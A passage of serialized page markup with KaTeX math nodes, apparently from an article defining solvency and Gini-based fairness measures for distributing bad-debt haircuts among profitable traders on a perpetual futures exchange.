",{"type":22,"tag":114,"props":165170,"children":165172},{"className":165171},[5995,5996],[165173],{"type":22,"tag":118,"props":165174,"children":165176},{"className":165175},[6001],[165177],{"type":22,"tag":118,"props":165178,"children":165180},{"className":165179,"ariaHidden":6007},[6006],[165181],{"type":22,"tag":118,"props":165182,"children":165184},{"className":165183},[6012],[165185,165189],{"type":22,"tag":118,"props":165186,"children":165188},{"className":165187,"style":111613},[6017],[],{"type":22,"tag":118,"props":165190,"children":165192},{"className":165191},[6023],[165193,165198],{"type":22,"tag":118,"props":165194,"children":165196},{"className":165195,"style":95129},[6023,23542],[165197],{"type":28,"value":162714},{"type":22,"tag":118,"props":165199,"children":165201},{"className":165200},[6040],[165202],{"type":22,"tag":118,"props":165203,"children":165205},{"className":165204},[6045,23596],[165206,165235],{"type":22,"tag":118,"props":165207,"children":165209},{"className":165208},[6050],[165210,165230],{"type":22,"tag":118,"props":165211,"children":165213},{"className":165212,"style":95172},[6055],[165214],{"type":22,"tag":118,"props":165215,"children":165216},{"style":95176},[165217,165221],{"type":22,"tag":118,"props":165218,"children":165220},{"className":165219,"style":6065},[6064],[],{"type":22,"tag":118,"props":165222,"children":165224},{"className":165223},[6070,6071,6072,6073],[165225],{"type":22,"tag":118,"props":165226,"children":165228},{"className":165227},[6023,23542,6073],[165229],{"type":28,"value":3613},{"type":22,"tag":118,"props":165231,"children":165233},{"className":165232},[23699],[165234],{"type":28,"value":23702},{"type":22,"tag":118,"props":165236,"children":165238},{"className":165237},[6050],[165239],{"type":22,"tag":118,"props":165240,"children":165242},{"className":165241,"style":94726},[6055],[165243],{"type":22,"tag":118,"props":165244,"children":165245},{},[],{"type":28,"value":165247}," is PNL for longs, negated for shorts; ",{"type":22,"tag":114,"props":165249,"children":165251},{"className":165250},[5995,5996],[165252],{"type":22,"tag":118,"props":165253,"children":165255},{"className":165254},[6001],[165256],{"type":22,"tag":118,"props":165257,"children":165259},{"className":165258,"ariaHidden":6007},[6006],[165260],{"type":22,"tag":118,"props":165261,"children":165263},{"className":165262},[6012],[165264,165268],{"type":22,"tag":118,"props":165265,"children":165267},{"className":165266,"style":111613},[6017],[],{"type":22,"tag":118,"props":165269,"children":165271},{"className":165270},[6023],[165272,165277],{"type":22,"tag":118,"props":165273,"children":165275},{"className":165274,"style":123923},[6023,23542],[165276],{"type":28,"value":51512},{"type":22,"tag":118,"props":165278,"children":165280},{"className":165279},[6040],[165281],{"type":22,"tag":118,"props":165282,"children":165284},{"className":165283},[6045,23596],[165285,165314],{"type":22,"tag":118,"props":165286,"children":165288},{"className":165287},[6050],[165289,165309],{"type":22,"tag":118,"props":165290,"children":165292},{"className":165291,"style":95172},[6055],[165293],{"type":22,"tag":118,"props":165294,"children":165295},{"style":162871},[165296,165300],{"type":22,"tag":118,"props":165297,"children":165299},{"className":165298,"style":6065},[6064],[],{"type":22,"tag":118,"props":165301,"children":165303},{"className":165302},[6070,6071,6072,6073],[165304],{"type":22,"tag":118,"props":165305,"children":165307},{"className":165306},[6023,23542,6073],[165308],{"type":28,"value":3613},{"type":22,"tag":118,"props":165310,"children":165312},{"className":165311},[23699],[165313],{"type":28,"value":23702},{"type":22,"tag":118,"props":165315,"children":165317},{"className":165316},[6050],[165318],{"type":22,"tag":118,"props":165319,"children":165321},{"className":165320,"style":94726},[6055],[165322],{"type":22,"tag":118,"props":165323,"children":165324},{},[],{"type":28,"value":165326}," is the positive part of PNL.)",{"type":22,"tag":31,"props":165328,"children":165329},{},[165330],{"type":28,"value":165331},"And let's make the trilemma definitions concrete:",{"type":22,"tag":64,"props":165333,"children":165334},{},[165335,165809,166373],{"type":22,"tag":68,"props":165336,"children":165337},{},[165338,165342,165343,165597,165599,165650,165652,165755,165756,165807],{"type":22,"tag":4764,"props":165339,"children":165340},{},[165341],{"type":28,"value":162455},{"type":28,"value":34850},{"type":22,"tag":114,"props":165344,"children":165346},{"className":165345},[5995,5996],[165347],{"type":22,"tag":118,"props":165348,"children":165350},{"className":165349},[6001],[165351],{"type":22,"tag":118,"props":165352,"children":165354},{"className":165353,"ariaHidden":6007},[6006],[165355,165382],{"type":22,"tag":118,"props":165356,"children":165358},{"className":165357},[6012],[165359,165364,165369,165373,165378],{"type":22,"tag":118,"props":165360,"children":165363},{"className":165361,"style":165362},[6017],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":22,"tag":118,"props":165365,"children":165367},{"className":165366},[6023],[165368],{"type":28,"value":6026},{"type":22,"tag":118,"props":165370,"children":165372},{"className":165371,"style":6105},[6104],[],{"type":22,"tag":118,"props":165374,"children":165376},{"className":165375},[6110],[165377],{"type":28,"value":6084},{"type":22,"tag":118,"props":165379,"children":165381},{"className":165380,"style":6105},[6104],[],{"type":22,"tag":118,"props":165383,"children":165385},{"className":165384},[6012],[165386,165391],{"type":22,"tag":118,"props":165387,"children":165390},{"className":165388,"style":165389},[6017],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":22,"tag":118,"props":165392,"children":165394},{"className":165393},[6023],[165395,165399,165593],{"type":22,"tag":118,"props":165396,"children":165398},{"className":165397},[23671,115161],[],{"type":22,"tag":118,"props":165400,"children":165402},{"className":165401},[115166],[165403],{"type":22,"tag":118,"props":165404,"children":165406},{"className":165405},[6045,23596],[165407,165581],{"type":22,"tag":118,"props":165408,"children":165410},{"className":165409},[6050],[165411,165576],{"type":22,"tag":118,"props":165412,"children":165415},{"className":165413,"style":165414},[6055],"height:0.8884em;",[165416,165490,165501],{"type":22,"tag":118,"props":165417,"children":165418},{"style":115183},[165419,165423],{"type":22,"tag":118,"props":165420,"children":165422},{"className":165421,"style":113814},[6064],[],{"type":22,"tag":118,"props":165424,"children":165426},{"className":165425},[6070,6071,6072,6073],[165427],{"type":22,"tag":118,"props":165428,"children":165430},{"className":165429},[6023,6073],[165431],{"type":22,"tag":118,"props":165432,"children":165434},{"className":165433},[6023,6073],[165435,165440],{"type":22,"tag":118,"props":165436,"children":165438},{"className":165437,"style":94643},[6023,23542,6073],[165439],{"type":28,"value":163130},{"type":22,"tag":118,"props":165441,"children":165443},{"className":165442},[6040],[165444],{"type":22,"tag":118,"props":165445,"children":165447},{"className":165446},[6045,23596],[165448,165478],{"type":22,"tag":118,"props":165449,"children":165451},{"className":165450},[6050],[165452,165473],{"type":22,"tag":118,"props":165453,"children":165455},{"className":165454,"style":113975},[6055],[165456],{"type":22,"tag":118,"props":165457,"children":165459},{"style":165458},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[165460,165464],{"type":22,"tag":118,"props":165461,"children":165463},{"className":165462,"style":110503},[6064],[],{"type":22,"tag":118,"props":165465,"children":165467},{"className":165466},[6070,110508,110509,6073],[165468],{"type":22,"tag":118,"props":165469,"children":165471},{"className":165470,"style":23543},[6023,23542,6073],[165472],{"type":28,"value":7997},{"type":22,"tag":118,"props":165474,"children":165476},{"className":165475},[23699],[165477],{"type":28,"value":23702},{"type":22,"tag":118,"props":165479,"children":165481},{"className":165480},[6050],[165482],{"type":22,"tag":118,"props":165483,"children":165486},{"className":165484,"style":165485},[6055],"height:0.1433em;",[165487],{"type":22,"tag":118,"props":165488,"children":165489},{},[],{"type":22,"tag":118,"props":165491,"children":165492},{"style":115216},[165493,165497],{"type":22,"tag":118,"props":165494,"children":165496},{"className":165495,"style":113814},[6064],[],{"type":22,"tag":118,"props":165498,"children":165500},{"className":165499,"style":115226},[115225],[],{"type":22,"tag":118,"props":165502,"children":165504},{"style":165503},"top:-3.4101em;",[165505,165509],{"type":22,"tag":118,"props":165506,"children":165508},{"className":165507,"style":113814},[6064],[],{"type":22,"tag":118,"props":165510,"children":165512},{"className":165511},[6070,6071,6072,6073],[165513],{"type":22,"tag":118,"props":165514,"children":165516},{"className":165515},[6023,6073],[165517],{"type":22,"tag":118,"props":165518,"children":165520},{"className":165519},[6023,6073],[165521,165526],{"type":22,"tag":118,"props":165522,"children":165524},{"className":165523,"style":124420},[6023,23542,6073],[165525],{"type":28,"value":124423},{"type":22,"tag":118,"props":165527,"children":165529},{"className":165528},[6040],[165530],{"type":22,"tag":118,"props":165531,"children":165533},{"className":165532},[6045,23596],[165534,165565],{"type":22,"tag":118,"props":165535,"children":165537},{"className":165536},[6050],[165538,165560],{"type":22,"tag":118,"props":165539,"children":165542},{"className":165540,"style":165541},[6055],"height:0.2963em;",[165543],{"type":22,"tag":118,"props":165544,"children":165546},{"style":165545},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165547,165551],{"type":22,"tag":118,"props":165548,"children":165550},{"className":165549,"style":110503},[6064],[],{"type":22,"tag":118,"props":165552,"children":165554},{"className":165553},[6070,110508,110509,6073],[165555],{"type":22,"tag":118,"props":165556,"children":165558},{"className":165557},[6023,23542,6073],[165559],{"type":28,"value":23684},{"type":22,"tag":118,"props":165561,"children":165563},{"className":165562},[23699],[165564],{"type":28,"value":23702},{"type":22,"tag":118,"props":165566,"children":165568},{"className":165567},[6050],[165569],{"type":22,"tag":118,"props":165570,"children":165572},{"className":165571,"style":110528},[6055],[165573],{"type":22,"tag":118,"props":165574,"children":165575},{},[],{"type":22,"tag":118,"props":165577,"children":165579},{"className":165578},[23699],[165580],{"type":28,"value":23702},{"type":22,"tag":118,"props":165582,"children":165584},{"className":165583},[6050],[165585],{"type":22,"tag":118,"props":165586,"children":165589},{"className":165587,"style":165588},[6055],"height:0.4453em;",[165590],{"type":22,"tag":118,"props":165591,"children":165592},{},[],{"type":22,"tag":118,"props":165594,"children":165596},{"className":165595},[23693,115161],[],{"type":28,"value":165598}," — how much of the total bad debt was actually covered. ",{"type":22,"tag":114,"props":165600,"children":165602},{"className":165601},[5995,5996],[165603],{"type":22,"tag":118,"props":165604,"children":165606},{"className":165605},[6001],[165607],{"type":22,"tag":118,"props":165608,"children":165610},{"className":165609,"ariaHidden":6007},[6006],[165611,165637],{"type":22,"tag":118,"props":165612,"children":165614},{"className":165613},[6012],[165615,165619,165624,165628,165633],{"type":22,"tag":118,"props":165616,"children":165618},{"className":165617,"style":23537},[6017],[],{"type":22,"tag":118,"props":165620,"children":165622},{"className":165621,"style":24001},[6023,23542],[165623],{"type":28,"value":24004},{"type":22,"tag":118,"props":165625,"children":165627},{"className":165626,"style":6202},[6104],[],{"type":22,"tag":118,"props":165629,"children":165631},{"className":165630},[6207],[165632],{"type":28,"value":282},{"type":22,"tag":118,"props":165634,"children":165636},{"className":165635,"style":6202},[6104],[],{"type":22,"tag":118,"props":165638,"children":165640},{"className":165639},[6012],[165641,165645],{"type":22,"tag":118,"props":165642,"children":165644},{"className":165643,"style":95674},[6017],[],{"type":22,"tag":118,"props":165646,"children":165648},{"className":165647},[6023],[165649],{"type":28,"value":6026},{"type":28,"value":165651}," means fully solvent (",{"type":22,"tag":114,"props":165653,"children":165655},{"className":165654},[5995,5996],[165656],{"type":22,"tag":118,"props":165657,"children":165659},{"className":165658},[6001],[165660],{"type":22,"tag":118,"props":165661,"children":165663},{"className":165662,"ariaHidden":6007},[6006],[165664,165742],{"type":22,"tag":118,"props":165665,"children":165667},{"className":165666},[6012],[165668,165672,165729,165733,165738],{"type":22,"tag":118,"props":165669,"children":165671},{"className":165670,"style":112640},[6017],[],{"type":22,"tag":118,"props":165673,"children":165675},{"className":165674},[6023],[165676,165681],{"type":22,"tag":118,"props":165677,"children":165679},{"className":165678,"style":124420},[6023,23542],[165680],{"type":28,"value":124423},{"type":22,"tag":118,"props":165682,"children":165684},{"className":165683},[6040],[165685],{"type":22,"tag":118,"props":165686,"children":165688},{"className":165687},[6045,23596],[165689,165718],{"type":22,"tag":118,"props":165690,"children":165692},{"className":165691},[6050],[165693,165713],{"type":22,"tag":118,"props":165694,"children":165696},{"className":165695,"style":163286},[6055],[165697],{"type":22,"tag":118,"props":165698,"children":165699},{"style":163290},[165700,165704],{"type":22,"tag":118,"props":165701,"children":165703},{"className":165702,"style":6065},[6064],[],{"type":22,"tag":118,"props":165705,"children":165707},{"className":165706},[6070,6071,6072,6073],[165708],{"type":22,"tag":118,"props":165709,"children":165711},{"className":165710},[6023,23542,6073],[165712],{"type":28,"value":23684},{"type":22,"tag":118,"props":165714,"children":165716},{"className":165715},[23699],[165717],{"type":28,"value":23702},{"type":22,"tag":118,"props":165719,"children":165721},{"className":165720},[6050],[165722],{"type":22,"tag":118,"props":165723,"children":165725},{"className":165724,"style":94726},[6055],[165726],{"type":22,"tag":118,"props":165727,"children":165728},{},[],{"type":22,"tag":118,"props":165730,"children":165732},{"className":165731,"style":6202},[6104],[],{"type":22,"tag":118,"props":165734,"children":165736},{"className":165735},[6207],[165737],{"type":28,"value":282},{"type":22,"tag":118,"props":165739,"children":165741},{"className":165740,"style":6202},[6104],[],{"type":22,"tag":118,"props":165743,"children":165745},{"className":165744},[6012],[165746,165750],{"type":22,"tag":118,"props":165747,"children":165749},{"className":165748,"style":95674},[6017],[],{"type":22,"tag":118,"props":165751,"children":165753},{"className":165752},[6023],[165754],{"type":28,"value":6036},{"type":28,"value":17153},{"type":22,"tag":114,"props":165757,"children":165759},{"className":165758},[5995,5996],[165760],{"type":22,"tag":118,"props":165761,"children":165763},{"className":165762},[6001],[165764],{"type":22,"tag":118,"props":165765,"children":165767},{"className":165766,"ariaHidden":6007},[6006],[165768,165794],{"type":22,"tag":118,"props":165769,"children":165771},{"className":165770},[6012],[165772,165776,165781,165785,165790],{"type":22,"tag":118,"props":165773,"children":165775},{"className":165774,"style":23537},[6017],[],{"type":22,"tag":118,"props":165777,"children":165779},{"className":165778,"style":24001},[6023,23542],[165780],{"type":28,"value":24004},{"type":22,"tag":118,"props":165782,"children":165784},{"className":165783,"style":6202},[6104],[],{"type":22,"tag":118,"props":165786,"children":165788},{"className":165787},[6207],[165789],{"type":28,"value":282},{"type":22,"tag":118,"props":165791,"children":165793},{"className":165792,"style":6202},[6104],[],{"type":22,"tag":118,"props":165795,"children":165797},{"className":165796},[6012],[165798,165802],{"type":22,"tag":118,"props":165799,"children":165801},{"className":165800,"style":95674},[6017],[],{"type":22,"tag":118,"props":165803,"children":165805},{"className":165804},[6023],[165806],{"type":28,"value":6036},{"type":28,"value":165808}," means nothing was recovered.",{"type":22,"tag":68,"props":165810,"children":165811},{},[165812,165816,165817,165940,165941,166158,166160,166264,166266,166317,166319,166371],{"type":22,"tag":4764,"props":165813,"children":165814},{},[165815],{"type":28,"value":162465},{"type":28,"value":34850},{"type":22,"tag":114,"props":165818,"children":165820},{"className":165819},[5995,5996],[165821],{"type":22,"tag":118,"props":165822,"children":165824},{"className":165823},[6001],[165825],{"type":22,"tag":118,"props":165826,"children":165828},{"className":165827,"ariaHidden":6007},[6006],[165829,165855],{"type":22,"tag":118,"props":165830,"children":165832},{"className":165831},[6012],[165833,165837,165842,165846,165851],{"type":22,"tag":118,"props":165834,"children":165836},{"className":165835,"style":165362},[6017],[],{"type":22,"tag":118,"props":165838,"children":165840},{"className":165839},[6023],[165841],{"type":28,"value":6026},{"type":22,"tag":118,"props":165843,"children":165845},{"className":165844,"style":6105},[6104],[],{"type":22,"tag":118,"props":165847,"children":165849},{"className":165848},[6110],[165850],{"type":28,"value":6084},{"type":22,"tag":118,"props":165852,"children":165854},{"className":165853,"style":6105},[6104],[],{"type":22,"tag":118,"props":165856,"children":165858},{"className":165857},[6012],[165859,165863,165873,165878,165935],{"type":22,"tag":118,"props":165860,"children":165862},{"className":165861,"style":6125},[6017],[],{"type":22,"tag":118,"props":165864,"children":165866},{"className":165865},[6023,28],[165867],{"type":22,"tag":118,"props":165868,"children":165870},{"className":165869},[6023],[165871],{"type":28,"value":165872},"Gini",{"type":22,"tag":118,"props":165874,"children":165876},{"className":165875},[23671],[165877],{"type":28,"value":540},{"type":22,"tag":118,"props":165879,"children":165881},{"className":165880},[6023],[165882,165887],{"type":22,"tag":118,"props":165883,"children":165885},{"className":165884},[6023,23542],[165886],{"type":28,"value":85941},{"type":22,"tag":118,"props":165888,"children":165890},{"className":165889},[6040],[165891],{"type":22,"tag":118,"props":165892,"children":165894},{"className":165893},[6045,23596],[165895,165924],{"type":22,"tag":118,"props":165896,"children":165898},{"className":165897},[6050],[165899,165919],{"type":22,"tag":118,"props":165900,"children":165902},{"className":165901,"style":95172},[6055],[165903],{"type":22,"tag":118,"props":165904,"children":165905},{"style":94699},[165906,165910],{"type":22,"tag":118,"props":165907,"children":165909},{"className":165908,"style":6065},[6064],[],{"type":22,"tag":118,"props":165911,"children":165913},{"className":165912},[6070,6071,6072,6073],[165914],{"type":22,"tag":118,"props":165915,"children":165917},{"className":165916},[6023,23542,6073],[165918],{"type":28,"value":3613},{"type":22,"tag":118,"props":165920,"children":165922},{"className":165921},[23699],[165923],{"type":28,"value":23702},{"type":22,"tag":118,"props":165925,"children":165927},{"className":165926},[6050],[165928],{"type":22,"tag":118,"props":165929,"children":165931},{"className":165930,"style":94726},[6055],[165932],{"type":22,"tag":118,"props":165933,"children":165934},{},[],{"type":22,"tag":118,"props":165936,"children":165938},{"className":165937},[23693],[165939],{"type":28,"value":3627},{"type":28,"value":9328},{"type":22,"tag":114,"props":165942,"children":165944},{"className":165943},[5995,5996],[165945],{"type":22,"tag":118,"props":165946,"children":165948},{"className":165947},[6001],[165949],{"type":22,"tag":118,"props":165950,"children":165952},{"className":165951,"ariaHidden":6007},[6006],[165953,166031],{"type":22,"tag":118,"props":165954,"children":165956},{"className":165955},[6012],[165957,165961,166018,166022,166027],{"type":22,"tag":118,"props":165958,"children":165960},{"className":165959,"style":143922},[6017],[],{"type":22,"tag":118,"props":165962,"children":165964},{"className":165963},[6023],[165965,165970],{"type":22,"tag":118,"props":165966,"children":165968},{"className":165967},[6023,23542],[165969],{"type":28,"value":85941},{"type":22,"tag":118,"props":165971,"children":165973},{"className":165972},[6040],[165974],{"type":22,"tag":118,"props":165975,"children":165977},{"className":165976},[6045,23596],[165978,166007],{"type":22,"tag":118,"props":165979,"children":165981},{"className":165980},[6050],[165982,166002],{"type":22,"tag":118,"props":165983,"children":165985},{"className":165984,"style":95172},[6055],[165986],{"type":22,"tag":118,"props":165987,"children":165988},{"style":94699},[165989,165993],{"type":22,"tag":118,"props":165990,"children":165992},{"className":165991,"style":6065},[6064],[],{"type":22,"tag":118,"props":165994,"children":165996},{"className":165995},[6070,6071,6072,6073],[165997],{"type":22,"tag":118,"props":165998,"children":166000},{"className":165999},[6023,23542,6073],[166001],{"type":28,"value":3613},{"type":22,"tag":118,"props":166003,"children":166005},{"className":166004},[23699],[166006],{"type":28,"value":23702},{"type":22,"tag":118,"props":166008,"children":166010},{"className":166009},[6050],[166011],{"type":22,"tag":118,"props":166012,"children":166014},{"className":166013,"style":94726},[6055],[166015],{"type":22,"tag":118,"props":166016,"children":166017},{},[],{"type":22,"tag":118,"props":166019,"children":166021},{"className":166020,"style":6202},[6104],[],{"type":22,"tag":118,"props":166023,"children":166025},{"className":166024},[6207],[166026],{"type":28,"value":282},{"type":22,"tag":118,"props":166028,"children":166030},{"className":166029,"style":6202},[6104],[],{"type":22,"tag":118,"props":166032,"children":166034},{"className":166033},[6012],[166035,166039,166096,166101],{"type":22,"tag":118,"props":166036,"children":166038},{"className":166037,"style":6125},[6017],[],{"type":22,"tag":118,"props":166040,"children":166042},{"className":166041},[6023],[166043,166048],{"type":22,"tag":118,"props":166044,"children":166046},{"className":166045},[6023,23542],[166047],{"type":28,"value":21243},{"type":22,"tag":118,"props":166049,"children":166051},{"className":166050},[6040],[166052],{"type":22,"tag":118,"props":166053,"children":166055},{"className":166054},[6045,23596],[166056,166085],{"type":22,"tag":118,"props":166057,"children":166059},{"className":166058},[6050],[166060,166080],{"type":22,"tag":118,"props":166061,"children":166063},{"className":166062,"style":95172},[6055],[166064],{"type":22,"tag":118,"props":166065,"children":166066},{"style":94699},[166067,166071],{"type":22,"tag":118,"props":166068,"children":166070},{"className":166069,"style":6065},[6064],[],{"type":22,"tag":118,"props":166072,"children":166074},{"className":166073},[6070,6071,6072,6073],[166075],{"type":22,"tag":118,"props":166076,"children":166078},{"className":166077},[6023,23542,6073],[166079],{"type":28,"value":3613},{"type":22,"tag":118,"props":166081,"children":166083},{"className":166082},[23699],[166084],{"type":28,"value":23702},{"type":22,"tag":118,"props":166086,"children":166088},{"className":166087},[6050],[166089],{"type":22,"tag":118,"props":166090,"children":166092},{"className":166091,"style":94726},[6055],[166093],{"type":22,"tag":118,"props":166094,"children":166095},{},[],{"type":22,"tag":118,"props":166097,"children":166099},{"className":166098},[6023],[166100],{"type":28,"value":888},{"type":22,"tag":118,"props":166102,"children":166104},{"className":166103},[6023],[166105,166110],{"type":22,"tag":118,"props":166106,"children":166108},{"className":166107,"style":123923},[6023,23542],[166109],{"type":28,"value":51512},{"type":22,"tag":118,"props":166111,"children":166113},{"className":166112},[6040],[166114],{"type":22,"tag":118,"props":166115,"children":166117},{"className":166116},[6045,23596],[166118,166147],{"type":22,"tag":118,"props":166119,"children":166121},{"className":166120},[6050],[166122,166142],{"type":22,"tag":118,"props":166123,"children":166125},{"className":166124,"style":95172},[6055],[166126],{"type":22,"tag":118,"props":166127,"children":166128},{"style":162871},[166129,166133],{"type":22,"tag":118,"props":166130,"children":166132},{"className":166131,"style":6065},[6064],[],{"type":22,"tag":118,"props":166134,"children":166136},{"className":166135},[6070,6071,6072,6073],[166137],{"type":22,"tag":118,"props":166138,"children":166140},{"className":166139},[6023,23542,6073],[166141],{"type":28,"value":3613},{"type":22,"tag":118,"props":166143,"children":166145},{"className":166144},[23699],[166146],{"type":28,"value":23702},{"type":22,"tag":118,"props":166148,"children":166150},{"className":166149},[6050],[166151],{"type":22,"tag":118,"props":166152,"children":166154},{"className":166153,"style":94726},[6055],[166155],{"type":22,"tag":118,"props":166156,"children":166157},{},[],{"type":28,"value":166159}," for each winner with ",{"type":22,"tag":114,"props":166161,"children":166163},{"className":166162},[5995,5996],[166164],{"type":22,"tag":118,"props":166165,"children":166167},{"className":166166},[6001],[166168],{"type":22,"tag":118,"props":166169,"children":166171},{"className":166170,"ariaHidden":6007},[6006],[166172,166251],{"type":22,"tag":118,"props":166173,"children":166175},{"className":166174},[6012],[166176,166181,166238,166242,166247],{"type":22,"tag":118,"props":166177,"children":166180},{"className":166178,"style":166179},[6017],"height:0.6891em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":166182,"children":166184},{"className":166183},[6023],[166185,166190],{"type":22,"tag":118,"props":166186,"children":166188},{"className":166187,"style":123923},[6023,23542],[166189],{"type":28,"value":51512},{"type":22,"tag":118,"props":166191,"children":166193},{"className":166192},[6040],[166194],{"type":22,"tag":118,"props":166195,"children":166197},{"className":166196},[6045,23596],[166198,166227],{"type":22,"tag":118,"props":166199,"children":166201},{"className":166200},[6050],[166202,166222],{"type":22,"tag":118,"props":166203,"children":166205},{"className":166204,"style":95172},[6055],[166206],{"type":22,"tag":118,"props":166207,"children":166208},{"style":162871},[166209,166213],{"type":22,"tag":118,"props":166210,"children":166212},{"className":166211,"style":6065},[6064],[],{"type":22,"tag":118,"props":166214,"children":166216},{"className":166215},[6070,6071,6072,6073],[166217],{"type":22,"tag":118,"props":166218,"children":166220},{"className":166219},[6023,23542,6073],[166221],{"type":28,"value":3613},{"type":22,"tag":118,"props":166223,"children":166225},{"className":166224},[23699],[166226],{"type":28,"value":23702},{"type":22,"tag":118,"props":166228,"children":166230},{"className":166229},[6050],[166231],{"type":22,"tag":118,"props":166232,"children":166234},{"className":166233,"style":94726},[6055],[166235],{"type":22,"tag":118,"props":166236,"children":166237},{},[],{"type":22,"tag":118,"props":166239,"children":166241},{"className":166240,"style":6202},[6104],[],{"type":22,"tag":118,"props":166243,"children":166245},{"className":166244},[6207],[166246],{"type":28,"value":12460},{"type":22,"tag":118,"props":166248,"children":166250},{"className":166249,"style":6202},[6104],[],{"type":22,"tag":118,"props":166252,"children":166254},{"className":166253},[6012],[166255,166259],{"type":22,"tag":118,"props":166256,"children":166258},{"className":166257,"style":95674},[6017],[],{"type":22,"tag":118,"props":166260,"children":166262},{"className":166261},[6023],[166263],{"type":28,"value":6036},{"type":28,"value":166265}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":22,"tag":114,"props":166267,"children":166269},{"className":166268},[5995,5996],[166270],{"type":22,"tag":118,"props":166271,"children":166273},{"className":166272},[6001],[166274],{"type":22,"tag":118,"props":166275,"children":166277},{"className":166276,"ariaHidden":6007},[6006],[166278,166304],{"type":22,"tag":118,"props":166279,"children":166281},{"className":166280},[6012],[166282,166286,166291,166295,166300],{"type":22,"tag":118,"props":166283,"children":166285},{"className":166284,"style":23537},[6017],[],{"type":22,"tag":118,"props":166287,"children":166289},{"className":166288,"style":23543},[6023,23542],[166290],{"type":28,"value":123421},{"type":22,"tag":118,"props":166292,"children":166294},{"className":166293,"style":6202},[6104],[],{"type":22,"tag":118,"props":166296,"children":166298},{"className":166297},[6207],[166299],{"type":28,"value":282},{"type":22,"tag":118,"props":166301,"children":166303},{"className":166302,"style":6202},[6104],[],{"type":22,"tag":118,"props":166305,"children":166307},{"className":166306},[6012],[166308,166312],{"type":22,"tag":118,"props":166309,"children":166311},{"className":166310,"style":95674},[6017],[],{"type":22,"tag":118,"props":166313,"children":166315},{"className":166314},[6023],[166316],{"type":28,"value":6026},{"type":28,"value":166318}," means everyone loses the same fraction of their PNL. ",{"type":22,"tag":114,"props":166320,"children":166322},{"className":166321},[5995,5996],[166323],{"type":22,"tag":118,"props":166324,"children":166326},{"className":166325},[6001],[166327],{"type":22,"tag":118,"props":166328,"children":166330},{"className":166329,"ariaHidden":6007},[6006],[166331,166358],{"type":22,"tag":118,"props":166332,"children":166334},{"className":166333},[6012],[166335,166339,166344,166348,166354],{"type":22,"tag":118,"props":166336,"children":166338},{"className":166337,"style":23537},[6017],[],{"type":22,"tag":118,"props":166340,"children":166342},{"className":166341,"style":23543},[6023,23542],[166343],{"type":28,"value":123421},{"type":22,"tag":118,"props":166345,"children":166347},{"className":166346,"style":6202},[6104],[],{"type":22,"tag":118,"props":166349,"children":166351},{"className":166350},[6207],[166352],{"type":28,"value":166353},"≈",{"type":22,"tag":118,"props":166355,"children":166357},{"className":166356,"style":6202},[6104],[],{"type":22,"tag":118,"props":166359,"children":166361},{"className":166360},[6012],[166362,166366],{"type":22,"tag":118,"props":166363,"children":166365},{"className":166364,"style":95674},[6017],[],{"type":22,"tag":118,"props":166367,"children":166369},{"className":166368},[6023],[166370],{"type":28,"value":6036},{"type":28,"value":166372}," means a few get wiped while most are untouched.",{"type":22,"tag":68,"props":166374,"children":166375},{},[166376,166380,166381,166539,166541,166635,166637],{"type":22,"tag":4764,"props":166377,"children":166378},{},[166379],{"type":28,"value":162475},{"type":28,"value":34850},{"type":22,"tag":114,"props":166382,"children":166384},{"className":166383},[5995,5996],[166385],{"type":22,"tag":118,"props":166386,"children":166388},{"className":166387},[6001],[166389],{"type":22,"tag":118,"props":166390,"children":166392},{"className":166391,"ariaHidden":6007},[6006],[166393],{"type":22,"tag":118,"props":166394,"children":166396},{"className":166395},[6012],[166397,166402,166477,166482],{"type":22,"tag":118,"props":166398,"children":166401},{"className":166399,"style":166400},[6017],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":22,"tag":118,"props":166403,"children":166405},{"className":166404},[6023],[166406,166411],{"type":22,"tag":118,"props":166407,"children":166409},{"className":166408,"style":96651},[6023,23542],[166410],{"type":28,"value":163200},{"type":22,"tag":118,"props":166412,"children":166414},{"className":166413},[6040],[166415],{"type":22,"tag":118,"props":166416,"children":166418},{"className":166417},[6045,23596],[166419,166465],{"type":22,"tag":118,"props":166420,"children":166422},{"className":166421},[6050],[166423,166460],{"type":22,"tag":118,"props":166424,"children":166426},{"className":166425,"style":110360},[6055],[166427,166444],{"type":22,"tag":118,"props":166428,"children":166430},{"style":166429},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[166431,166435],{"type":22,"tag":118,"props":166432,"children":166434},{"className":166433,"style":6065},[6064],[],{"type":22,"tag":118,"props":166436,"children":166438},{"className":166437},[6070,6071,6072,6073],[166439],{"type":22,"tag":118,"props":166440,"children":166442},{"className":166441,"style":23543},[6023,23542,6073],[166443],{"type":28,"value":7997},{"type":22,"tag":118,"props":166445,"children":166446},{"style":6059},[166447,166451],{"type":22,"tag":118,"props":166448,"children":166450},{"className":166449,"style":6065},[6064],[],{"type":22,"tag":118,"props":166452,"children":166454},{"className":166453},[6070,6071,6072,6073],[166455],{"type":22,"tag":118,"props":166456,"children":166458},{"className":166457,"style":95129},[6023,23542,6073],[166459],{"type":28,"value":162714},{"type":22,"tag":118,"props":166461,"children":166463},{"className":166462},[23699],[166464],{"type":28,"value":23702},{"type":22,"tag":118,"props":166466,"children":166468},{"className":166467},[6050],[166469],{"type":22,"tag":118,"props":166470,"children":166473},{"className":166471,"style":166472},[6055],"height:0.2753em;",[166474],{"type":22,"tag":118,"props":166475,"children":166476},{},[],{"type":22,"tag":118,"props":166478,"children":166480},{"className":166479},[6023],[166481],{"type":28,"value":888},{"type":22,"tag":118,"props":166483,"children":166485},{"className":166484},[6023],[166486,166491],{"type":22,"tag":118,"props":166487,"children":166489},{"className":166488,"style":96651},[6023,23542],[166490],{"type":28,"value":163200},{"type":22,"tag":118,"props":166492,"children":166494},{"className":166493},[6040],[166495],{"type":22,"tag":118,"props":166496,"children":166498},{"className":166497},[6045,23596],[166499,166528],{"type":22,"tag":118,"props":166500,"children":166502},{"className":166501},[6050],[166503,166523],{"type":22,"tag":118,"props":166504,"children":166506},{"className":166505,"style":144198},[6055],[166507],{"type":22,"tag":118,"props":166508,"children":166509},{"style":163219},[166510,166514],{"type":22,"tag":118,"props":166511,"children":166513},{"className":166512,"style":6065},[6064],[],{"type":22,"tag":118,"props":166515,"children":166517},{"className":166516},[6070,6071,6072,6073],[166518],{"type":22,"